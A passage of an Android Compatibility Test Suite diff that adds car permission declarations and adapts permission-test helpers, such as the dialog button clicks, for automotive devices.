+ android:description="@string/car_permission_desc_control_car_doors"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_WINDOWS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_windows"
+ android:description="@string/car_permission_desc_control_car_windows"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_MIRRORS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_mirrors"
+ android:description="@string/car_permission_desc_control_car_mirrors"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_SEATS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_seats"
+ android:description="@string/car_permission_desc_control_car_seats"/>
+ <permission android:name="android.car.permission.CAR_MILEAGE"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_mileage"
+ android:description="@string/car_permission_desc_mileage"/>
+ <permission android:name="android.car.permission.CAR_TIRES"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_tires"
+ android:description="@string/car_permission_desc_car_tires"/>
+ <permission android:name="android.car.permission.READ_CAR_STEERING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_steering"
+ android:description="@string/car_permission_desc_car_steering"/>
+ <permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_read_car_display_units"
+ android:description="@string/car_permission_desc_read_car_display_units"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_control_car_display_units"
+ android:description="@string/car_permission_desc_control_car_display_units"/>
+ <permission android:name="android.car.permission.CAR_SPEED"
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_speed"
+ android:description="@string/car_permission_desc_speed"/>
+ <permission android:name="android.car.permission.CAR_ENERGY_PORTS"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_car_energy_ports"
+ android:description="@string/car_permission_desc_car_energy_ports"/>
+ <permission android:name="android.car.permission.CAR_ENGINE_DETAILED"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_engine_detailed"
+ android:description="@string/car_permission_desc_car_engine_detailed"/>
+ <permission android:name="android.car.permission.CAR_DYNAMICS_STATE"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vehicle_dynamics_state"
+ android:description="@string/car_permission_desc_vehicle_dynamics_state"/>
+ <permission android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vendor_extension"
+ android:description="@string/car_permission_desc_vendor_extension"/>
+ <permission android:name="android.car.permission.CAR_PROJECTION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_projection"
+ android:description="@string/car_permission_desc_projection"/>
+ <permission android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_access_projection_status"
+ android:description="@string/car_permission_desc_access_projection_status"/>
+ <permission android:name="android.car.permission.BIND_PROJECTION_SERVICE"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_projection_service"
+ android:description="@string/car_permission_desc_bind_projection_service"/>
+ <permission android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_mock_vehicle_hal"
+ android:description="@string/car_permission_desc_mock_vehicle_hal"/>
+ <permission android:name="android.car.permission.CAR_INFO"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_car_info"
+ android:description="@string/car_permission_desc_car_info"/>
+ <permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_car_exterior_environment"
+ android:description="@string/car_permission_desc_car_exterior_environment"/>
+ <permission android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_exterior_lights"
+ android:description="@string/car_permission_desc_car_exterior_lights"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_exterior_lights"
+ android:description="@string/car_permission_desc_control_car_exterior_lights"/>
+ <permission android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_interior_lights"
+ android:description="@string/car_permission_desc_car_interior_lights"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_interior_lights"
+ android:description="@string/car_permission_desc_control_car_interior_lights"/>
+ <permission android:name="android.car.permission.CAR_POWER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_power"
+ android:description="@string/car_permission_desc_car_power"/>
+ <permission android:name="android.car.permission.CAR_POWERTRAIN"
+ android:protectionLevel="normal"
+ android:label="@string/car_permission_label_car_powertrain"
+ android:description="@string/car_permission_desc_car_powertrain"/>
+ <permission android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_navigation_manager"
+ android:description="@string/car_permission_desc_car_navigation_manager"/>
+ <permission android:name="android.car.permission.CAR_DIAGNOSTICS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_read"
+ android:description="@string/car_permission_desc_diag_read"/>
+ <permission android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_clear"
+ android:description="@string/car_permission_desc_diag_clear"/>
+ <permission android:name="android.car.permission.BIND_VMS_CLIENT"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_vms_client"
+ android:description="@string/car_permission_desc_bind_vms_client"/>
+ <permission android:name="android.car.permission.VMS_PUBLISHER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_publisher"
+ android:description="@string/car_permission_desc_vms_publisher"/>
+ <permission android:name="android.car.permission.VMS_SUBSCRIBER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_subscriber"
+ android:description="@string/car_permission_desc_vms_subscriber"/>
+ <permission android:name="android.car.permission.CAR_DRIVING_STATE"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_driving_state"
+ android:description="@string/car_permission_desc_driving_state"/>
<!-- may replace this with system permission if proper one is defined. -->
- <permission
- android:name="android.car.permission.CONTROL_APP_BLOCKING"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_app_blocking"
- android:description="@string/car_permission_desc_control_app_blocking" />
+ <permission android:name="android.car.permission.CONTROL_APP_BLOCKING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_app_blocking"
+ android:description="@string/car_permission_desc_control_app_blocking"/>
+ <permission android:name="android.car.permission.ADJUST_RANGE_REMAINING"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_adjust_range_remaining"
+ android:description="@string/car_permission_desc_adjust_range_remaining"/>
+ <permission android:name="android.car.permission.READ_CAR_OCCUPANT_AWARENESS_STATE"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_read_car_occupant_awareness_state"
+ android:description="@string/car_permission_desc_read_car_occupant_awareness_state"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_ENERGY_PORTS"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_control_car_energy_ports"
+ android:description="@string/car_permission_desc_control_car_energy_ports"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_OCCUPANT_AWARENESS_SYSTEM"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_control_car_occupant_awareness_system"
+ android:description="@string/car_permission_desc_control_car_occupant_awareness_system"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_FEATURES"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_control_car_features"
+ android:description="@string/car_permission_desc_control_car_features"/>
+ <permission android:name="android.car.permission.USE_CAR_WATCHDOG"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_use_car_watchdog"
+ android:description="@string/car_permission_desc_use_car_watchdog"/>
+ <permission android:name="android.car.permission.READ_CAR_VENDOR_PERMISSION_INFO"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_vendor_permission_info"
+ android:description="@string/car_permission_desc_vendor_permission_info"/>
+ <!-- Permission for vendor properties -->
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_WINDOW"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_window"
+ android:description="@string/car_permission_desc_get_car_vendor_category_window"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_WINDOW"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_window"
+ android:description="@string/car_permission_desc_set_car_vendor_category_window"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_DOOR"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_door"
+ android:description="@string/car_permission_desc_get_car_vendor_category_door"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_DOOR"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_door"
+ android:description="@string/car_permission_desc_set_car_vendor_category_door"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_SEAT"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_seat"
+ android:description="@string/car_permission_desc_get_car_vendor_category_seat"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_SEAT"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_seat"
+ android:description="@string/car_permission_desc_set_car_vendor_category_seat"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_MIRROR"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_mirror"
+ android:description="@string/car_permission_desc_get_car_vendor_category_mirror"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_MIRROR"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_mirror"
+ android:description="@string/car_permission_desc_set_car_vendor_category_mirror"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_INFO"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_info"
+ android:description="@string/car_permission_desc_get_car_vendor_category_info"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_INFO"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_info"
+ android:description="@string/car_permission_desc_set_car_vendor_category_info"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_ENGINE"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_engine"
+ android:description="@string/car_permission_desc_get_car_vendor_category_engine"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_ENGINE"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_engine"
+ android:description="@string/car_permission_desc_set_car_vendor_category_engine"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_HVAC"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_hvac"
+ android:description="@string/car_permission_desc_get_car_vendor_category_hvac"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_HVAC"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_hvac"
+ android:description="@string/car_permission_desc_set_car_vendor_category_hvac"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_LIGHT"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_light"
+ android:description="@string/car_permission_desc_get_car_vendor_category_light"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_LIGHT"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_light"
+ android:description="@string/car_permission_desc_set_car_vendor_category_light"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_1"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_1"
+ android:description="@string/car_permission_desc_get_car_vendor_category_1"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_1"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_1"
+ android:description="@string/car_permission_desc_set_car_vendor_category_1"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_2"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_2"
+ android:description="@string/car_permission_desc_get_car_vendor_category_2"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_2"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_2"
+ android:description="@string/car_permission_desc_set_car_vendor_category_2"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_3"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_3"
+ android:description="@string/car_permission_desc_get_car_vendor_category_3"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_3"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_3"
+ android:description="@string/car_permission_desc_set_car_vendor_category_3"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_4"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_4"
+ android:description="@string/car_permission_desc_get_car_vendor_category_4"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_4"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_4"
+ android:description="@string/car_permission_desc_set_car_vendor_category_4"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_5"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_5"
+ android:description="@string/car_permission_desc_get_car_vendor_category_5"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_5"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_5"
+ android:description="@string/car_permission_desc_set_car_vendor_category_5"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_6"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_6"
+ android:description="@string/car_permission_desc_get_car_vendor_category_6"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_6"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_6"
+ android:description="@string/car_permission_desc_set_car_vendor_category_6"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_7"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_7"
+ android:description="@string/car_permission_desc_get_car_vendor_category_7"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_7"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_7"
+ android:description="@string/car_permission_desc_set_car_vendor_category_7"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_8"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_8"
+ android:description="@string/car_permission_desc_get_car_vendor_category_8"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_8"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_8"
+ android:description="@string/car_permission_desc_set_car_vendor_category_8"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_9"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_9"
+ android:description="@string/car_permission_desc_get_car_vendor_category_9"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_9"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_9"
+ android:description="@string/car_permission_desc_set_car_vendor_category_9"/>
+ <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_10"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_get_car_vendor_category_10"
+ android:description="@string/car_permission_desc_get_car_vendor_category_10"/>
+ <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_10"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_set_car_vendor_category_10"
+ android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
<permission
android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 82e2a2a..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -65,6 +65,10 @@
private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION
= "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
+ private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
+ private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+ = "android.permission.MANAGE_COMPANION_DEVICES";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -437,9 +441,14 @@
}
private boolean shouldSkipPermission(String permissionName) {
- return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE) &&
- HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION.equals(permissionName);
-
+ switch (permissionName) {
+ case HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION:
+ return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
+ case MANAGE_COMPANION_DEVICES_PERMISSION:
+ return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ default:
+ return false;
+ }
}
private class ExpectedPermissionInfo {
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 2e48ea8..557de85 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -25,6 +25,8 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPermission3TestCases.apk" />
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
index 6b679d5..6ceaeee 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
@@ -30,6 +30,7 @@
<activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
<activity android:name=".FinishOnCreateActivity" android:exported="true" />
<activity android:name=".RequestPermissionsActivity" android:exported="true" />
+ <activity android:name=".StartCheckPermissionServiceActivity" android:exported="true" />
<service android:name=".CheckPermissionService" android:exported="true" />
</application>
</manifest>
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
new file mode 100644
index 0000000..9ddf757
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+
+class StartCheckPermissionServiceActivity : Activity() {
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
+ startService(Intent(this, CheckPermissionService::class.java).putExtras(intent))
+ finish()
+ }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..5cd5c4f 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,7 @@
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
+import android.content.res.Resources
import android.provider.Settings
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
@@ -52,6 +53,8 @@
protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
protected val packageManager: PackageManager = context.packageManager
+ private val mPermissionControllerResources: Resources = context.createPackageContext(
+ context.packageManager.permissionControllerPackageName, 0).resources
@get:Rule
val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +90,10 @@
pressHome()
}
+ protected fun getPermissionControllerString(res: String): String =
+ mPermissionControllerResources.getString(mPermissionControllerResources
+ .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
protected fun installPackage(
apkPath: String,
reinstall: Boolean = false,
@@ -117,8 +124,8 @@
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
- protected fun click(selector: BySelector) {
- waitFindObject(selector).click()
+ protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+ waitFindObject(selector, timeoutMillis).click()
waitForIdle()
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1f074fc..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -68,6 +68,13 @@
const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
"com.android.permissioncontroller:" +
"id/permission_no_upgrade_and_dont_ask_again_button"
+
+ const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+ const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+ const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+ const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+ "grant_dialog_button_deny_and_dont_ask_again"
+ const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
}
enum class PermissionState {
@@ -78,6 +85,7 @@
protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
private val platformResources = context.createPackageContext("android", 0).resources
private val permissionToLabelResNameMap =
@@ -192,11 +200,21 @@
protected fun clearTargetSdkWarning() =
click(By.res("android:id/button1"))
- protected fun clickPermissionReviewContinue() =
- click(By.res("com.android.permissioncontroller:id/continue_button"))
+ protected fun clickPermissionReviewContinue() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("review_button_continue")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/continue_button"))
+ }
+ }
- protected fun clickPermissionReviewCancel() =
- click(By.res("com.android.permissioncontroller:id/cancel_button"))
+ protected fun clickPermissionReviewCancel() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("review_button_cancel")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/cancel_button"))
+ }
+ }
protected fun approvePermissionReview() {
startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -300,30 +318,55 @@
block
)
- protected fun clickPermissionRequestAllowButton() =
- click(By.res(ALLOW_BUTTON))
+ protected fun clickPermissionRequestAllowButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+ } else {
+ click(By.res(ALLOW_BUTTON))
+ }
+ }
protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+ clickPermissionRequestSettingsLink()
eventually({
- clickPermissionRequestSettingsLink()
clickAllowAlwaysInSettings()
}, TIMEOUT_MILLIS * 2)
pressBack()
}
protected fun clickAllowAlwaysInSettings() {
- click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+ }
}
- protected fun clickPermissionRequestAllowForegroundButton() =
- click(By.res(ALLOW_FOREGROUND_BUTTON))
+ protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+ if (isAutomotive) {
+ click(By.text(
+ getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+ } else {
+ click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+ }
+ }
- protected fun clickPermissionRequestDenyButton() =
- click(By.res(DENY_BUTTON))
+ protected fun clickPermissionRequestDenyButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+ } else {
+ click(By.res(DENY_BUTTON))
+ }
+ }
protected fun clickPermissionRequestSettingsLinkAndDeny() {
clickPermissionRequestSettingsLink()
- click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("app_permission_button_deny")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+ }
+ waitForIdle()
pressBack()
}
@@ -331,9 +374,15 @@
waitForIdle()
eventually {
// UiObject2 doesn't expose CharSequence.
- val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
- "com.android.permissioncontroller:id/detail_message"
- )[0]
+ val node = if (isAutomotive) {
+ uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+ "Allow in settings."
+ )[0]
+ } else {
+ uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+ "com.android.permissioncontroller:id/detail_message"
+ )[0]
+ }
assertTrue(node.isVisibleToUser)
val text = node.text as Spanned
val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -343,20 +392,25 @@
waitForIdle()
}
- protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
- click(
- By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON)
- )
+ protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+ } else {
+ click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+ }
+ }
+ // Only used in TV and Watch form factors
protected fun clickPermissionRequestDontAskAgainButton() =
click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
- protected fun clickPermissionRequestNoUpgradeButton() =
- click(By.res(NO_UPGRADE_BUTTON))
-
- protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
- By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON)
- )
+ protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+ } else {
+ click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+ }
+ }
protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -412,6 +466,10 @@
}
val wasGranted = if (isTv) {
false
+ } else if (isAutomotive) {
+ // Automotive doesn't support one time permissions, and thus
+ // won't show an "Ask every time" message
+ !waitFindObject(byTextRes(R.string.deny)).isChecked
} else {
!(waitFindObject(byTextRes(R.string.deny)).isChecked ||
(!isLegacyApp && hasAskButton(permission) &&
@@ -423,24 +481,34 @@
} else {
val button = waitFindObject(
byTextRes(
- when (state) {
- PermissionState.ALLOWED ->
- if (showsForegroundOnlyButton(permission)) {
- R.string.allow_foreground
